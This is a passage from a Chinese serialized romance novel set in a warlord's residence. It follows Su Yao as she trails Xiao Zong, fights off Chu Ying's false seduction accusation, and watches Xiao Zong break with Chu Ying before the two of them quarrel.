“过去的小事就不要提了，我也都忘了。” 苏姚淡淡开口，中止了这个话题。 她不需要萧茵的抱歉，也不想和她再有交集。 不在营救唐黎的事情上利用她，已经是苏姚最后的善意了。 萧茵不明内情，却清晰地感受到了那股排斥，她失望地低下了头，心里却只有懊恼。 如果苏姚忘了，怎么会一听就知道她是什么意思呢？ 她明明还是记得的。 她起初以为只是自己说错了话才让苏姚失望生气，可随着知道的事情越多，她就越意识到，自己真的伤害了她。 “小姐还有别的事吗？没有的话，我就下楼了。” 萧茵下意识摇头，苏姚微微一笑，没再理会她，转身下了楼，身后萧茵亦步亦趋地跟着她，却又没有靠太近，苏姚皱了下眉，却什么都没说，只进了小茶室。 这里其实也算是个书房，书籍帅府的人都可以查阅。 她需要找到对应的书，好比对密码本，接收或者传递消息。 身边响起了脚步声，她以为是萧茵跟了过来，侧头看了一眼，却瞧见是厨房的孙姐，对上了苏姚的目光，孙姐立刻露出了笑容，“苏小姐，这是厨师新研究出来的冰饮，您尝尝。” 苏姚有些诧异，说实话，她在帅府的时候，这些佣人对她说不上恭敬，毕竟萧纵对她的态度摆在那里，她和管家的关系又十分恶劣。 谁都知道，这种时候要站哪边。 至于后来，又来了个秦芳年，她和佣人们甚至还为此爆发过冲突，关系也就更糟糕，她都撞见过好几次这些人私下里编排她。 没想到一年过去，他们倒是变了幅嘴脸。 “孙姐如今，真是客气许多。” 她淡淡开口，带着点嘲讽，她就是想把人气走，她在帅府还有很多事情要做，要尽量避免有人往她跟前凑。 孙姐表情一僵，却没有如同苏姚预料的那般转身就走，反而笑得更加谄媚，“苏小姐可是贵客，我们怎么敢怠慢？您还需要什么？请尽管吩咐。” 苏姚古怪地看她一眼，又想起了之前管家的态度，这次回来，整个帅府都好像抽风了一样。 她摆摆手，语气冷淡，“我只想一个人待一会儿。” 孙姐满脸尴尬，却仍旧一副笑脸，“好，那我就退下了。” 她往后退了两步，又殷勤开口，“我就在厨房，您如果有吩咐，千万别客气。” 苏姚微蹙着眉头，静静看着她走远，等她的背影消失，她才收回目光，得想个办法，让萧纵主动暴露唐黎的位置。 不知道打草惊蛇有没有效果…… 她正在脑海里推演，就有人走了过来。 她握着手的手骤然一紧，本能地警惕起来，却不动声色地侧了下头。 是萧纵。 “我得出去一趟。” 男人忽然开口，苏姚指尖一颤，萧纵伤势未愈就要出去，会去哪里？ 她得跟上去看看。 念头一闪而过，她面上没露分毫，只“哦”了一声。 身边却迟迟没响起脚步声，她迟疑地看过去，就见萧纵也正看着她，“……你不是要出门吗？怎么还不走？” “我回来的时候，你应该还在吧？” 萧纵盯着她，眼里都是不确定。 苏姚有些无语，萧纵这幅患得患失的样子，装给谁看呢？ 她忽然就很想气他一下。 “你说得对，我真的回去一趟。” 她微笑开口，萧纵的脸色瞬间变了，当即改口，“那我不出去了。” 苏姚没想到他能说变就变，一时竟然愣住了，好一会儿才咬牙切齿地开口：“就算你不出去我也得回去，我得回去拿些衣服，我什么都没带，总不能不换衣服吧？” “你没看衣柜吗？你的衣服都在。” 萧纵看了眼楼上，“你要是不喜欢，我们再去做新的。” “我就喜欢穿沈公馆的衣服。” 苏姚没再和他废话，抬脚就走，萧纵快走两步跟上来，“我送你回去。” “不要，我喜欢坐黄包车。” 她不想耽误萧纵的行程，她现在迫不及待地想知道他要去哪里。 萧纵没再坚持，苏姚上了黄包车，正打算选个位置下车，就发现身后有车跟着她，仔细一看，就是萧纵。 “你跟着我干什么？” 萧纵探出头来，“咱们顺路。” 顺路？ 苏姚直觉他这话是假的，可又没有证据反驳，只好坐了回去，默默地等待时机，却没想到这一等就到了沈公馆。 黄包车夫都走了，萧纵的车还停在门口。 她忍不住开口：“你怎么还不走？” “来都来了，我送你回去再走。” “我一时半会根本收拾不完。” “我不赶时间。” 苏姚：“……” 她一口气堵在胸口，像是不认识萧纵了一样，上下打量着他，这人怎么活像只狗皮膏药。 “沈公馆又不是没车，你等着我还要着急，你赶紧去忙你的。” 她咬牙开口，见她实在是抗拒，萧纵只好放弃，“那你要记得回去，不然……” 他可不能保证沈知聿能不能全须全尾地回来。 但后半句他下意识地咽了回去，苏姚仍旧察觉到了一丝不寻常，皱眉看过来，“不然什么？” “没什么，我先走了。” 他朝苏姚一笑，开车走了。 等车尾巴一消失，苏姚就快步回了沈公馆，不多时，她就换了一套男人的短打，压低帽檐，骑着自行车跟了上去。 萧纵的行为没有遮掩，一看这样子，苏姚就知道他大概率不是去见唐黎的。 果然，没多久守卫森严的军部就出现在了眼前。 隔着远远的，苏姚就停了下来，却并没有气馁，想发现唐黎的行踪肯定没那么容易，她有耐心，就算萧纵现在不去，也迟早会去的。 两个小时后，萧纵的车又开了出来，苏姚连忙跟了上去，那车一开始还走得好好的，但很快就方向一转，开进了小巷子里，苏姚精神一震，却拉开了距离。 越是这种时候，越得小心，这种巷子，太容易被发现了。 车子绕了好一段路才在一处隐蔽的民居前停了下来，苏姚心头一跳，这地方看起来很像是能藏人的。 苏姚不自觉睁大了眼睛，紧紧盯着驾驶室，不多时车门打开，男人从里面走了下来。 可那个人，却并不是萧纵。 第196章 偷听 苏姚愣了一下，瞬间意识到自己被耍了。 她毫不迟疑，立刻抽身后退，她的身影刚躲进另一条巷子里，车上的人就走了过来。 那人苏姚也认识，是陈锋。 对方大约并没有意识到被跟踪了，简单检查了几下就靠在墙上开始抽烟，直到有人开口：“这是谁的车？怎么把人家的门堵住了？这让人怎么出去？” 陈锋不耐烦地啧了一声，这才踩灭了烟，折返回去。 没多久，车子就开走了，苏姚远远地坠在后头，就见他将车开回了军部。 可萧纵还在不在里面，就没人说得准了。 苏姚叹了口气，没敢耽误，立刻回了沈公馆，刚收拾好衣裳，敲门声就响了起来。 她连忙合上箱子，“谁？” “太太，少帅来了，在门口等您呢。” 苏姚有些庆幸，还好她速度够快，不然萧纵扑个空，还不知道要怀疑些什么呢。 “来了。” 她提着箱子出门，一到院子里，浓重的烟味就传了过来，后院滚滚浓烟正不停地冒，呛得她直咳嗽。 管家替她提了箱子，殷勤地送她出门。 “先生走的时候，有没有留什么话？” 苏姚这才有时间问起沈知聿，管家笑眯眯开口，“先生请太太放心，说他能应付，请您安心住着，一回海城他就去接您。” 这应该是问题不大的意思。 苏姚刚要松口气，一道影子就迎面走了过来，“他一个大男人，这点事情都处理不了吗？” 萧纵开口，说话间将箱子从管家手里硬抢了过去。 管家想着他是贵客，还想客气两句，却被他凶巴巴瞪了一眼，只好不再上前。 苏姚给了他一个眼色，示意他下去，这才看向萧纵，“你好像知道出什么事了。” 萧纵扭开头，没看她的眼睛。 其实萧纵这人，嘴里没几句实话，官场酒场上忽悠人的话数不胜数，但不知道为什么，现在对着苏姚撒谎，他总是心虚。 但这不妨碍他嘴硬：“我怎么会知道？我又不做生意。” 苏姚冷眼看着他欲盖弥彰，却是越看越气，这人轻描淡写就能给人造出致命的麻烦来，还死不承认，实在是太可恨了。 她忍了又忍，还是从萧纵的脚上踩了过去。 十指连心，脚趾也一样。 萧纵闷哼一声，本能地弯下了腰，苏姚故作惊讶，“我踩到你了吗？对不起，我刚才没注意，你没事吧？” 萧纵抬头看过来，一双眸子漆黑如墨，苏姚还以为他是要生气了，下意识往后退了一步。 男人却忽然笑了起来。 不是怒极的笑，也不是威胁的笑，甚至看着还有点高兴。 苏姚又往后退了一步，萧纵真是疯了。 这还不如之前那个阴晴不定的人，让她心里有底呢。 “你……你没事吧？” 她迟疑着开口。 萧纵含笑摇头，“我好得很，走吧，天都要黑了。” 苏姚迟疑着跟着他出了门，外头的车换了一辆，苏姚当做没发现，钻进了副驾驶。 萧纵亲自开的车，他像是真的很高兴，一路上嘴角都翘着。 苏姚一连看了他几次，都是这幅表情。 这一年，他是不是真的生什么大病了？ 她心里止不住地揣测，不等想出个所以然来，车子就到了帅府，萧纵给她提了箱子，拉着她就往里走，一辆车却紧接着停在了门口，褚英探出头来喊他，“少帅，伯父那边的条件开出来了。” 萧纵抬了抬下巴，“进来谈。” 门卫这才放行，褚英拿着一份文件从车上下来，看见苏姚也没再说什么，大约是之前被萧纵警告了一次，他记住了教训。 苏姚没心思在意他的态度，满脑子都是他刚才的话，萧远山？ 这父子两个，难道达成了什么协议？ 如果是这样，对他们的处境可不太妙。 但她不敢再留下听，只能指了指后头，“我先去收拾一下东西。” “好。” 萧纵答应一声，将她的行礼送进客房，这才下楼去找褚英。 “她这是搬回帅府了？” 褚英忍不住开口，语气还算随和，眼神却十分冷凝。 “暂住几天，说说条件吧。” 萧纵随口敷衍，带着褚英去了会客室。 褚英意味不明地看了眼二楼，这才去了会客厅：“萧家的家底你比我清楚，这次伯父是大出血了……” 他将文件袋拆开递了过去。 苏姚下楼的时候，两人正低声讨论什么。 她目光微微一闪，见佣人要送茶，上前一步将东西接了过来，借着调整茶具，在门口听了一阵子才抬脚进去。 两人还在交谈，并没有注意到人进来，她也没有开口，尽量放慢了动作倒茶。 “你怎么进来了？” 褚英忽然开口，苏姚倒茶的手一顿，侧头瞥他一眼，“送个茶，不行吗？” 萧纵这才发现送茶的人是她，连忙起身接过了她手里的茶盏，“怎么是你来送的茶？” 他说着想起了什么，看了褚英一眼，“她当然能进来。” 褚英的脸色难看了一瞬，掩饰性地低下了头。 “我就是看佣人很累的样子，这才帮了把手，我先出去了。” 苏姚清楚再待下去就要被怀疑了，找了个借口就走了，转身进了小茶室。 茶室挨着会客厅，她拿起报纸卷了个喇叭，正想叩在墙上，试试能不能偷听，茶室的门就被猛地推开。 她反应迅速，将报纸松开，侧头看过去的时候，没露出任何异样来。 但等看清楚来人是谁的时候，她的眸子却冷了下去，褚英。 第197章 是她勾引我 “你来干什么？” 两人私下里已经算是撕破脸，所以苏姚并不客气。 褚英显然也这么想，他缓缓靠近，随手关上了茶室的门，甚至还落了栓。 苏姚眉心一跳，来者不善啊。 心里却露出几分欢喜来，她不主动去找褚英，是不想给行动添麻烦，但既然对方主动找上门来，那她稍微“款待”一下，应该也不过分吧？ “你是哑巴了吗？不会说话啊。” 她开口嘲讽，褚英脚一顿，似是没想到苏姚敢用这种态度对他，他神情瞬间变了，“怎么？重新回来就觉得自己不一样了？敢这么和我说话？” 他眼神冰冷又嫌恶，“真是阴魂不散，当年我就该跟着一起找你，补上一枪。” 他身上的恶意毫不遮掩，仿佛一条吐着信子的蛇。 可苏姚今时不同往日，这点恶意根本动摇不了她分毫，只是她仍旧困惑，“你到底为什么这么恨我？” 褚英眼神晦涩，却一言未发，只步步逼近，仿佛一头恶狼。 苏姚一哂，褚英还以为她和以前一样小心翼翼，谁都不敢得罪吗？ 她拿起手边的书就砸在了褚英头上，对方显然没料到她敢直接动手，躲避不及，竟真的被砸中了额头，坚硬的书脊磕破皮肉，鲜血顺着额角就淌了下来。 他抬手摸了一下，瞧见满目的红，眼神陡然狰狞起来，“臭婊子，你敢打我？！” 他抄起茶壶就砸，苏姚侧身闪开，茶壶撞到墙面，顿时四分五裂。 刺耳的声响惊得佣人一顿，纷纷聚到了茶室门口。 “谁在里面？” 管家皱眉开口，佣人面面相觑，好半晌才有人开口，“刚才好像苏小姐进去了。” 话音一落，立刻有人反驳，“我怎么看见是褚公子进去了？” 场面瞬间一静，片刻后，才有人小声开口，“不会两个人都在吧？” 众人的神情顿时微妙起来，管家脸色一沉，“别胡说八道，苏小姐不是那种人。” 佣人们被训斥得低下了头。 小茶室里的动静却还在不断传出来，夹杂着撞击声和闷哼，听得众人神情越发古怪。 “都围在这里干什么？” 似是察觉到了动静，萧纵也从会客室里走了出来。 佣人们心虚似的低下头，谁都没有开口，但这一安静，茶室里的动静就越发明显，萧纵眉头微拧，问出了和管家一样的问题，“谁在里头？” 没人敢回答，管家只能硬着头皮上，“好像是苏小姐和褚公子在。” 萧纵一怔，这俩人？ 他抬手敲了敲门，“苏姚？你在吗？” 听见萧纵的声音，苏姚反手将报纸糊在褚英脸上，狠狠甩了他一个嘴巴子。 “我在。” 她喊了一声，趁机和褚英拉开了距离。 褚英一把撕开报纸，神情狰狞到近乎癫狂，抓起手边的摆件就砸。 凌厉的破空声惊得苏姚头皮发麻，立刻弯腰躲过，瓷器被砸得四分五裂，碎瓷片到处都是，苏姚脸侧被划了一道血口子，抬手一抹，都是血。 褚英犹不满意，再次追了过来。 “苏姚？” 萧纵的声音急切了几分，似是并没有听见她刚才的回答，敲门声也逐渐急促。 苏姚砸了几本书，逼退了褚英。 这人就跟条疯狗一样，逮着她死咬不放。 她现在又不能真的杀人，实在是不想在他身上再浪费时间。 她抓住机会，抬脚就想去开门。 褚英像是察觉到了她的意图，冲过来再次拦住了她，“你想干什么？” 苏姚气急而笑，“你有完没完？再纠缠我，我可不客气了。” 褚英满脸不屑，死死堵着门，“就你？那就试试啊。” 苏姚觉得他有病，见他站在门口不动，一个滑铲将人铲倒在地，趁机就要去开门。 褚英却抓住她的脚腕，将她拽了回来。 苏姚身体失去平衡，知道自己肯定要摔，索性调整了一下姿势，砸在了褚英身上。 褚英被砸得脸色涨红，声音都变了调，却仍旧死死抓着她的脚踝。 “苏姚？里面出什么事了？” 萧纵还在门外喊，苏姚忍不住想给他翻个白眼，“你就不能冲进来吗？” 以前也没见他这么懂礼貌，现在怎么敲起门来没完没了了？ 似是听见了她的话，外头的敲门声停了。 苏姚一个肘击朝褚英面门砸过去，对方反手握住，一个反转竟将她压在了地上，却没有趁机还手，反而笑了—— “你确定要让他进来吗？” 褚英眼里都是嘲弄。 苏姚不想理会他，膝盖一弯，朝着他胯下就击了上去。 褚英脸色骤变，疼得连惨叫都没能喊出来，可他愣是忍着没有松手，也没有还击，只仍旧维持着姿势，压在苏姚身上。 苏姚隐约觉得哪里不对，可不等想明白，耳边就“砰”的一声响。 茶室的门，被踹开了。 萧纵一头扎了进来，身后还跟着管家和看热闹的佣人。 只是瞧见茶室里的情形，众人都愣在了门口，气氛陡然间尴尬起来。 苏姚一无所觉，察觉到褚英的力道放松了，抬腿就是一脚，将人踹了下去。 褚英挨了一下却笑了，他挣扎着坐了起来，抬眸看向萧纵，“少帅，你这女人不安分啊，竟然勾引我。” 第198章 拉偏架 苏姚不敢置信地看过去，褚英在狗叫些什么？ “你胡说八道些什么？我勾引你？” 她有点后悔刚才那一下顶得不够用力。 褚英挑衅地看了过来，哪怕疼得脸色发白，也不妨碍他眼底的胸有成竹，“他们可都看见了，你否认有什么用？” 他压低了音量，确保只有苏姚听得见，“你说他们信你，还是信我？” 苏姚忍不住回头，就见佣人们正神情复杂地看着她，苏姚怒极而笑，这些人看她干什么？ 先不说她根本不可能勾引褚英，就算她真的干了这种事，和帅府又有什么关系？ “王八蛋。” 她咬牙切齿地开口，爬起来就想再打他一顿，这人怎么比萧纵还要卑鄙龌龊？ 一只手却拉住了她，她侧头，就对上了萧纵发红的眼睛，她心里一突，忽然有些悲哀，离开那么久，经历那么多，她还以为自己真的脱胎换骨了。 明明她已经有勇气反抗褚英，甚至暴揍他一顿，可对上这副样子的萧纵，她却控制不住地警惕和忌惮。 她下意识开始挣扎，男人的手却握得死紧。 “放手！” 她声音冷了下去，却毫无用处，萧纵的手反而握得更紧。 她没再开口，冷冷和萧纵对峙，脑海里却在疯狂思考。 如果萧纵发狂，又和以前一样不管不顾，她要怎么才能摆脱困境。 现在沈知聿不在海城，她连个帮手都没有。 额头慢慢滑下汗水，褚英却在这个时候再次开口—— “少帅……” 他懒洋洋拉长了调子，带着浓浓的看好戏的意味，“我早就和你说过，她这种出身的人……” 一只沙包大的拳头毫无预兆地砸了下来。 褚英得意扬扬的尾音瞬间变了调，成了一声痛呼。 他被打倒在地，好半晌才反应过来发生了什么，不敢置信地看过来，“你疯了吗？打我干什么？” 苏姚也愣住了，她诧异地看着萧纵，男人却没看她，只是松开了抓住她的手。 “你说我为什么打你？” 男人的话是对褚英说的，他活动了一下手腕，关节咔吧作响，“你刚才说，苏姚勾引你？” 他反问了一句，可就这几个字似乎就把他气得够呛，苏姚放着他不勾引，去勾引褚英？ 哈！ 他满心嘲讽，咬肌却肉眼可见地咬紧了，隐约还有牙齿摩擦时发出的刺耳声响。 “你也配吗？！” 他咬牙切齿地说完，捏起拳头，再次朝褚英砸了过去。 这次褚英有所防备，往旁边一滚躲了过去，满脸的又惊又怒，“你什么意思？” 萧纵不开口，只一味地追着他打。 褚英原本还想找机会再糊弄他，可没想到萧纵根本听不进去人话，每一下都用足了力气，他几乎都听见了自己肋骨被打断的声音。 “萧纵！” 他怒极开口，下一瞬就又被一拳砸在脸上，他踉跄两步撞在了书架上，侧头啐了一口血沫出来，里头还有一颗牙。 瞧见那颗牙，他整个人都气得发抖，眼见萧纵还要追过来，他慌忙往人群里钻，一把扯过管家挡在面前。 萧纵被迫停了手，胸膛却在剧烈地起伏，那粗重的呼吸声仿佛一头暴怒中的野兽。 “少爷，冷静，冷静。” 管家也怕他打红了眼，给自己一拳，他这老骨头可是扛不住。 “是男人，就滚出来，我们自己解决。” 萧纵逼近一步，满脸狰狞。 褚英一把推开管家，铁青着脸看着他，气急败坏地开口，“你有完没完？老子又不是要挖你墙角，是她自己犯贱……” 话音未落，一本书就朝着他面门砸了过来。 苏姚大步走过来，“我还以为褚家是什么了不得的人家，原来就养出了你这种贱人！” 褚英脸色一阵青一阵白，很想撕了苏姚。 “褚英，” 似是察觉到了他的杀意，萧纵断喝一声，侧身挡住了苏姚，语气阴沉，“为什么要冤枉她？” 他指尖微微一勾，褚英注意到了这个小动作，脸色一时间无比难看。 相交多年，他哪里能不了解萧纵，有这个小动作，证明他对自己动了杀心。 他满腔的不敢置信，就因为这点小事，因为一个女人，萧纵想杀了他？ 可他不敢挑明，更不敢承认，只能缓下语气，“萧纵，咱们什么交情？你怎么能信她不信我？她这种出身，勾引男人有什么稀奇的？当初勾引你，后来又勾搭上了沈知聿，只是现在盯上我了而已……” 苏姚见他还死鸭子嘴硬，一时气血上涌。 如果她还在帅府，他这上下嘴皮子一碰，已经能要了她的命了。 怒火汹涌，怎么都浇不灭，她抄起地上的书又要砸。 萧纵连忙去拦，“我来，你别伤了……” “闪开！” 苏姚一把将他推开，冲过去，抡起厚厚的书就对着褚英猛砸。 褚英抬手就想反击，胳膊却被禁锢住，他震惊抬头，就见萧纵正死死钳制着他。 “你干什么？！” 他不敢置信地开口，萧纵竟然拉偏架？ 这比他发现萧纵动了杀心还要不可思议——他什么时候这么不要脸了？ “你是不是失心疯了？” 被两人打得毫无还手之力，褚英再也控制不住火气，怒吼出声，“她都红杏出墙到沈家去了，你竟然还护着她？你……” 书籍重重砸在后背，他瞬间疼得禁了声。 见她打得这么凶，管家有些不安，“苏小姐……” “闭嘴！” 苏姚瞪圆了眼睛，凶神恶煞地吼了一声，管家下意识捂住嘴，被惊得连连后退，却是退了好一会儿，都没撞到人，他诧异扭头，这才发现不知道什么时候，佣人早就退出了两米远，小茶室门口只剩了他自己。 他瞪了众人一眼，也连忙退了过去。 小茶室门口立刻就被空了出来。 褚英鼻青脸肿，抱头鼠窜，费了九牛二虎之力才终于挣脱了萧纵的钳制，拉开了和两人之间的距离。 他此生从未如此狼狈过，愤怒到全身都在颤抖，他阴鸷的眼神扫过两人，等着吧，只要找到机会，他一定要让这两个人不得好死！ 可现在，他却只能继续挑拨离间，他还不能和萧纵撕破脸，“萧纵，我可都是为了你好，你知不知道外头怎么说你？说你捡了个破鞋……” 萧纵拿过苏姚手里的书就砸了过去，褚英侧身躲开，嘴边的话也咽了下去，萧纵却陡然冷静了下来，“滚出去，以后我不想再看见你。” 褚英拳头骤然攥紧，他们都是体面人，还有利益勾连，不管私下里藏着什么心思，都不会在面上表现出来，比如萧纵刚才的杀意，比如他之前的那颗扣子。 他们都察觉到了不对劲，可谁都不会摆在面上说。 互相算计这种事，根本不值得撕破脸。 可现在，萧纵竟然要打破这个默认的规则，就为了一个女人。 事情的发展完全超出了他的意料，他好一会儿才冷静下来，咬牙开口，“你真的要做到这个地步？我们的关系，决裂的后果会很严重。” 第199章 决裂 不止褚英难以置信，苏姚也很震惊。 她侧头朝男人看过去，却只看见了对方那张冷静至极的脸。 这意味着，他说的并不是气话。 可这怎么可能啊？ 褚英和他是什么交情？自己和他又有什么关系？ 她难以置信，更无法理解。 “我知道，但你刚才陷害她的时候，就该想到这种结果。” 萧纵沉声开口，每个字都笃定有力，“褚英，我不知道你为什么对她敌意这么大，但不管是什么原因，我都不允许心怀恶意的人，出现在她身边，你也不行。” 褚英沉默下去，静静看着萧纵，苏姚也忍不住又看了他一眼。 离开的这一年，帅府到底发生什么事了？ 怎么从萧纵到管家，再到佣人，都变了个人一样。 “呵，” 褚英忽然冷笑出声，“行，萧纵，你就做你的情种去吧，别后悔！” 话音落下，他转身就走。 管家意识到事情不对，有心想劝两句，可看着萧纵的脸色，嘴边的话又咽了下去。 “来人、” 萧纵高声开口，金锦很快进来，见客厅里这么多人，小茶室又一片狼藉，眼底闪过兴奋，“这是发生什么了？少帅和褚公子动手了？” 想起刚才发生的事情，众人的脸色都有些一言难尽。 虽然萧纵的确是动手了，但…… 管家忍不住偷偷瞄了苏姚一眼，嗫嚅着没开口。 “三言两语解释不清楚。” 眼见无人开口，苏姚只好自己回答，她心情十分复杂地看了萧纵一眼，若不是亲身经历，她真的很难想象，今天这件事是萧纵会做出来的。 心情莫名地有些烦躁，她索性出了小茶室，打算离萧纵远一些。 却不想她往前迈一步，佣人们就齐刷刷往后退一步。 她再往前，佣人们再后退。 往前，后退，往前，后退…… “……你们干什么？” 她莫名其妙地开口，管家干巴巴一笑，后心发凉，他忽然意识到，以往两人的针锋相对，苏姚真是手下留情了，不然就凭她这打人的凶狠劲，完全能把他这幅老骨头拆了。 “没，没什么。” 他敷衍一句，扭头就走，佣人们也顿时做鸟兽散。 只留了苏姚一个人，站在原地，满脸的莫名其妙。 金锦诧异地看了过来，在帅府这么多年，她还没见过管家这么紧张，看过来的目光里满是探究。 “别看了。” 萧纵开口，将她的注意力吸引了过去，“你带人去该去的地方，把东西都给我守好了，谁都不能擅自进入，更不能带走东西，褚家那边派几个人给我盯着，任何风吹草动，都不能放过。” 金锦立刻听出了这话里的危险意味，神情微变，“要做到这个地步吗？” “只怕还不够呢。” 萧纵冷笑一声，“褚英知道得太多了，不谨慎一些，会咬死我的。” 金锦再不多言，转身就走，不多时外头就嘈杂了起来。 萧纵没有理会，只拨了个电话出去，言简意赅，“封闭所有出入口。” 这电话不知道是给谁打的，话音落下他就挂断了。 苏姚心头一跳，直觉这个电话不简单。 她要找机会，查一查这个电话。 “怎么受伤了？” 萧纵的声音忽然在耳边响起来，苏姚一侧头，他温热的指腹就贴了上来，轻轻擦去了她脸颊的血迹。 “褚英打的？这个王八蛋，刚才下手还是太轻了。” 萧纵咬牙切齿地开口，“管家，拿药箱过来。” 苏姚下意识拒绝，“不用了，伤得不深，过两天就好了。” 萧纵充耳不闻，拉着她在沙发上坐下，半蹲下身给她处理伤口。 苏姚垂眸看他，不知道是不是第一次用俯视的角度，今天的萧纵看起来好像没有以往那么盛气凌人，阴险狡诈了。 也或许是因为没有看见男人眼睛的缘故。 因为刚才的那一通闹剧，他素来整齐的发丝垂下来，阴影遮住了眼睛，只露出了挺拔的鼻梁。 “你在看我啊？” 萧纵忽然抬头看过来，话里带着调侃和兴奋。 苏姚眨了下眼睛，将乱飞的思绪收拢回来，“我在想，你是不是早就想和褚英割席了？” “什么？” 萧纵一愣，刚才抬头的时候，他眼底还带着欣喜和调侃，可苏姚一开口，他脸上就只剩了茫然，他像是忽然听不懂中文了一样，怔怔地看着她。 苏姚调整了一下坐姿，不闪不避地对上了他的视线，“我也跟着知聿学了不少东西，知道你们勾连很深，你总不能真是一时冲动，就和他决裂了吧？你们决裂的代价应该不小，所以我才想，你应该是早就有这个想法，今天是借题发挥而已，我猜对了吗？” 虽然是询问，但苏姚其实很笃定。 她这么直白地挑明，也是不想萧纵借题发挥，胁迫她做什么。 “当然，你毕竟是帮了我，我不会否认的。” 她开口补充，满脸的真诚，不说别的，今天打了褚英这一顿，腿疾的账虽然没清，但她总算是出了一口一直被他阴阳怪气的气，这得记萧纵的功劳。 男人却迟迟没有开口，只是仰头看着她。 第200章 天大的委屈 苏姚有些莫名，“少帅？” 萧纵腾地站了起来，手里染了血的棉球被重重砸在地上，可惜东西太轻，以至于不管是苏姚还是管家，都以为他只是抬了下胳膊。 两人莫名其妙地看过来。 “你怎么了？” 萧纵气得全身都在发抖，他怎么了？ 这个女人说了这么过分的话，怎么还能这么轻描淡写地问他怎么了？ “什么叫我是借题发挥？” 他咬牙开口，“苏姚，你就非要这么看我是吧？” 苏姚不知道他发的什么火，“你是说我猜错了吗？那你为什么忽然和褚英决裂？” 她满心狐疑，萧纵却仿佛受了天大的委屈，直接吼了出来，“我说了啊，因为他欺负你！” 音量太高，苏姚被喊得耳朵一懵，她没想到萧纵反应这么激烈，都吓了她一跳， 可心里却半分都没当真，刚才的震惊过去，她已经冷静了下来，也为萧纵的行为找到了合理的解释，并且心里很笃定就是这么回事。 只是眼下这种情形，她也不好再坚持，只好敷衍地点点头，“好，我知道了，你是为了我。” 她不想再继续这个话题，起身就要走，萧纵却不依不饶，上前一步拦住了她的去路。 “你根本不信是吧？” 刚才那一声，他喊得太用力，现在嗓子都有些哑，一双眸子却死死盯着苏姚。 他眼底发红，奇怪的是，身上却全然没了刚才闯进茶室时的压迫感。 苏姚对他的变化很有些惊讶，她印象中的萧纵，发怒的时候明明很可怕的，怎么现在，一点都感觉不到了呢？ 她纳闷地看了好几眼，萧纵没有察觉，倔强地重复：“你是不是根本不信？” 苏姚叹了口气。 萧纵的变化还真是大，以前的他，从来不会在这种无关紧要的小事上浪费时间，听到自己想听的，不管是不是真心的，他都不会再计较了，今天，却死缠着她不肯罢休。 “你想听什么？” 她直截了当地开口，萧纵的脸色却因为这句话更难看了，唇角肉眼可见的抽动了几下，“你觉得我想听什么？苏姚，你就非要认定我唯利是图，认定我携恩以报是吗？” 他这次没喊，但每个字说出来的时候都很用力，明明该是质问的语气，可那颤抖的语气却好像是他受了欺负一样。 苏姚一时沉默，她不是被说动了，只是实话不大好听，因为她认识的萧纵，就是这种人。 她又叹了口气，委婉开口：“少帅是目光长远的人，最会权衡利弊，我觉得这不是坏事，所以……” “人都会变得！” 萧纵的音调再次拔高，有些气急败坏，“是，我承认我以前就是这样的人，可我现在不是在做给你看吗？苏姚，你真的什么都看不见吗？” 苏姚很无奈，只好安静地看着他。 萧纵苦笑一声，是了，苏姚要是看得见，就不会这么想他了。 “你要怎么样才肯信我？” 他有些无力，苏姚也揉了下额角，她还想着去查查那个电话，不想在萧纵身上浪费时间，她退了一步，违心道：“刚才是我误会你了，我已经信了，我相信你是因为我才和褚英决裂的，别闹了，好不好？” 她绕过男人就要走，却再次被堵住去路！ “你在撒谎！” 萧纵看起来比刚才更愤怒，“你刚才那副样子分明是在敷衍我，你就是不相信我，苏姚，你就是觉得我在装模作样，你还是在怀疑我，排斥我，不管我做什么，你都要曲解我，刚才进茶室的时候也是！” 他越说越愤怒，全身都在颤抖，他指向茶室，“你是不是以为我刚才没注意到你的眼神？你刚才为什么那么看着我？你是不是觉得褚英干这些事，都是我挑唆的？你是不是觉得我故意的，好英雄救美？” 苏姚被问懵了，怔了一下才回神，她刚才看见萧纵的时候，的确下意识的就警惕忌惮了起来，但她发誓，她绝对没往别的地方想。 “我什么时候这么想过？我的确是不相信你的话，但我也……” “你承认了是吧？！” 萧纵的声音陡然拔高，“你承认你根本不相信我是吧？我就知道你刚才的眼神不对劲！” 苏姚也有些火了，她不相信归不相信，和她刚才的眼神有什么关系？ “你能不能不要无理取闹？” 她音调也拔高了，一时间完全忘了萧纵之前的恶劣，“我都说了我没那么想，你非要往我身上泼脏水是吧？” “我无理取闹？我往你身上泼脏水？” 萧纵不敢置信地看着她，眼珠子都瞪圆了，“到底是谁先泼脏水的？是谁先说的借题发挥？苏姚你有没有良心啊？！” 我没有良心？ 苏姚看着萧纵，眼底火气直冒，“我这么想怪谁啊？你以前怎么做的你自己没点数吗？我本来想离你远远的，你非要我住过来，住过来出了这种事，你还怪我给你泼脏水，换成谁不会这么想？你问问他们，看看谁不是这么想的！” “你……” 萧纵气得浑身哆嗦，开口就想反驳，嗓子却忽然哽住了，又疼又胀，堵得他一个字都说不出来，只能抖着手指着苏姚，全身都在哆嗦。 佣人们没想到刚打完一场，又来这么一出，被吓得纷纷躲了起来。 管家硬着头皮来劝架，“少爷，苏小姐，你们都冷静冷静，都是误会，火气别这么大，吃点冰碗消消气……” 管家说着连忙招呼厨房的人送冰碗过来。 苏姚冷笑一声，“我可不敢吃，一句话就能被人冤枉成这样，要是真吃了你们帅府的东西，我还不知道要担什么罪名呢。” 管家满脸的尴尬一时不知道说什么好，萧纵倒是扭头看了过来，他看起来气得更厉害了，嘴唇都在抖。 “苏姚！” 他嘶声开口，苏姚毫不客气地回视过去，“干什么？” 萧纵哆嗦着看她，却是又没了声音，苏姚冷笑一声，“怎么？后悔让我过来了？好像我想来一样，这帅府我看一眼就嫌晦气，我这就走！” 她说着就要上楼，萧纵连忙拦住她，“不许走，你不许走。” “闪开！” 她一把推开人，萧纵没站稳，踉跄两步从台阶上摔了下去。 苏姚吓了一跳，她没想到萧纵脚下能这么不稳当。 而且萧纵这个人，素来是不肯吃亏的，真把人伤了还不知道要添什么麻烦。 她有点后悔刚才的冲动了，可又拉不下脸来道歉，毕竟这真的是萧纵在无理取闹。 好在就两节台阶，就算真的伤了，也就是扭个脚，不会出什么问题。 可萧纵却还是坐在了地上。 管家连忙去查看，见他没事松了口气，连忙安慰劝架，萧纵却仍旧不动，苏姚犹豫了很久，还是开口，“你没事吧？” 萧纵没开口，只抬手捂住了脸。 苏姚有些不安，不会真摔出问题了吧？ 她走近两步，伸手去拉他的手，“你摔哪了？” 萧纵却一言不发，挥开她的手，站起来就上了楼。 第201章 感同身受 